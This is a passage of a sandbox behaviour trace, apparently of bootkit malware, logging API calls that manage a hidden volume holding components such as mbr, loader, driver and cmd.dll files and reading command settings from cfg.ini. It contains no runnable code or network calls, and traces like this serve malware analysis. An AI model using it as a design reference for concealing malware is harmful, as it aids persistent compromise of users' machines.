[0122.887] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.887] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.887] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7760, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.887] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.887] KeLeaveCriticalRegion () [0122.887] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.887] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.887] KeEnterCriticalRegion () [0122.887] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.887] ExFreePoolWithTag (P=0xfffffa8003be8720, Tag=0x0) [0122.887] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.887] KeLeaveCriticalRegion () [0122.887] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.887] ReleaseMutex (hMutex=0xf0) returned 1 [0122.887] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.887] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.887] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.887] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.887] KeEnterCriticalRegion () [0122.887] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.887] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.887] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.887] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.887] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.887] IdePortDispatch () returned 0x103 [0122.888] KeWaitForMutexObject () returned 0x0 [0122.888] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.888] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.888] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.888] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.888] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.888] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.888] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.888] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.888] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.888] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.888] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.888] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.888] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.888] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.888] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.888] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.888] KeLeaveCriticalRegion () [0122.888] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.888] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.888] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.888] KeEnterCriticalRegion () [0122.888] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.888] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.888] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.888] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.888] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.888] IdePortDispatch () returned 0x103 [0122.888] KeWaitForMutexObject () returned 0x0 [0122.888] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.888] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.888] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.888] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.888] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.888] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.888] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.888] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.889] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.889] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.889] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.889] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.889] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.889] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.889] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.889] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.889] KeLeaveCriticalRegion () [0122.889] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.889] ReleaseMutex (hMutex=0x100) returned 1 [0122.889] Sleep (dwMilliseconds=0x2bf20) [0122.895] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c72a810, dwHighDateTime=0x1d24fa4)) [0122.895] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.895] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.895] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.895] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.895] KeEnterCriticalRegion () [0122.895] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.895] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.895] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.895] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.895] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.895] IdePortDispatch () returned 0x103 [0122.895] KeWaitForMutexObject () returned 0x0 [0122.896] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.896] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.896] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.896] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.896] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.896] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4320 [0122.896] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.896] KeLeaveCriticalRegion () [0122.896] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.896] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.896] KeEnterCriticalRegion () [0122.896] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.896] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.896] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.896] KeLeaveCriticalRegion () [0122.896] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.896] KeEnterCriticalRegion () [0122.896] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.896] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.896] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.896] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.896] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.896] IdePortDispatch () returned 0x103 [0122.896] KeWaitForMutexObject () returned 0x0 [0122.896] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.896] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.896] KeLeaveCriticalRegion () [0122.896] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.896] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.896] KeEnterCriticalRegion () [0122.896] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.896] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d72000 [0122.896] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.897] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.897] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.897] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.897] IdePortDispatch () returned 0x103 [0122.897] KeWaitForMutexObject () returned 0x0 [0122.897] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.897] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.897] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.897] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.897] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.897] IdePortDispatch () returned 0x103 [0122.897] KeWaitForMutexObject () returned 0x0 [0122.897] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.897] KeLeaveCriticalRegion () [0122.897] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.898] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.898] KeEnterCriticalRegion () [0122.898] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.898] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.898] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.898] KeLeaveCriticalRegion () [0122.898] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.898] KeEnterCriticalRegion () [0122.898] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.898] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.898] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80038276f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.898] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.898] KeLeaveCriticalRegion () [0122.898] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.898] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.898] KeEnterCriticalRegion () [0122.898] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.898] ExFreePoolWithTag (P=0xfffffa8003be4320, Tag=0x0) [0122.898] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.898] KeLeaveCriticalRegion () [0122.898] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.898] ReleaseMutex (hMutex=0xf0) returned 1 [0122.898] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.898] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.898] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.898] KeEnterCriticalRegion () [0122.898] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.898] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.898] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.898] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.898] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.898] IdePortDispatch () returned 0x103 [0122.898] KeWaitForMutexObject () returned 0x0 [0122.899] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.899] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.899] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.899] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.899] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.899] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6200 [0122.899] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.899] KeLeaveCriticalRegion () [0122.899] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.899] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.899] KeEnterCriticalRegion () [0122.899] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.899] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.899] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.899] KeLeaveCriticalRegion () [0122.899] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.899] KeEnterCriticalRegion () [0122.899] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.899] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.899] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.899] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.899] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.899] IdePortDispatch () returned 0x103 [0122.899] KeWaitForMutexObject () returned 0x0 [0122.899] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.899] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.899] KeLeaveCriticalRegion () [0122.899] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.899] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.899] KeEnterCriticalRegion () [0122.899] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.899] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d73000 [0122.899] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.899] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.899] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.899] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.899] IdePortDispatch () returned 0x103 [0122.900] KeWaitForMutexObject () returned 0x0 [0122.900] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.900] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.900] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.900] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.900] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.900] IdePortDispatch () returned 0x103 [0122.900] KeWaitForMutexObject () returned 0x0 [0122.900] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.900] KeLeaveCriticalRegion () [0122.900] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.901] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.901] KeEnterCriticalRegion () [0122.901] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.901] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.901] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.901] KeLeaveCriticalRegion () [0122.901] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.901] KeEnterCriticalRegion () [0122.901] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.901] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.901] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7760, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.901] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.901] KeLeaveCriticalRegion () [0122.901] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.901] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.901] KeEnterCriticalRegion () [0122.901] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.901] ExFreePoolWithTag (P=0xfffffa8003bc6200, Tag=0x0) [0122.901] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.901] KeLeaveCriticalRegion () [0122.901] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.901] ReleaseMutex (hMutex=0xf0) returned 1 [0122.901] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.901] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.901] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.901] KeEnterCriticalRegion () [0122.901] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.901] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.901] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.901] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.901] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.901] IdePortDispatch () returned 0x103 [0122.901] KeWaitForMutexObject () returned 0x0 [0122.901] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.901] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.901] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.902] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.902] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.902] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be7b10 [0122.902] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.902] KeLeaveCriticalRegion () [0122.902] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.902] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.902] KeEnterCriticalRegion () [0122.902] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.902] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.902] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.902] KeLeaveCriticalRegion () [0122.902] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.902] KeEnterCriticalRegion () [0122.902] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.902] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.902] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.902] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.902] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.902] IdePortDispatch () returned 0x103 [0122.902] KeWaitForMutexObject () returned 0x0 [0122.902] _strnicmp 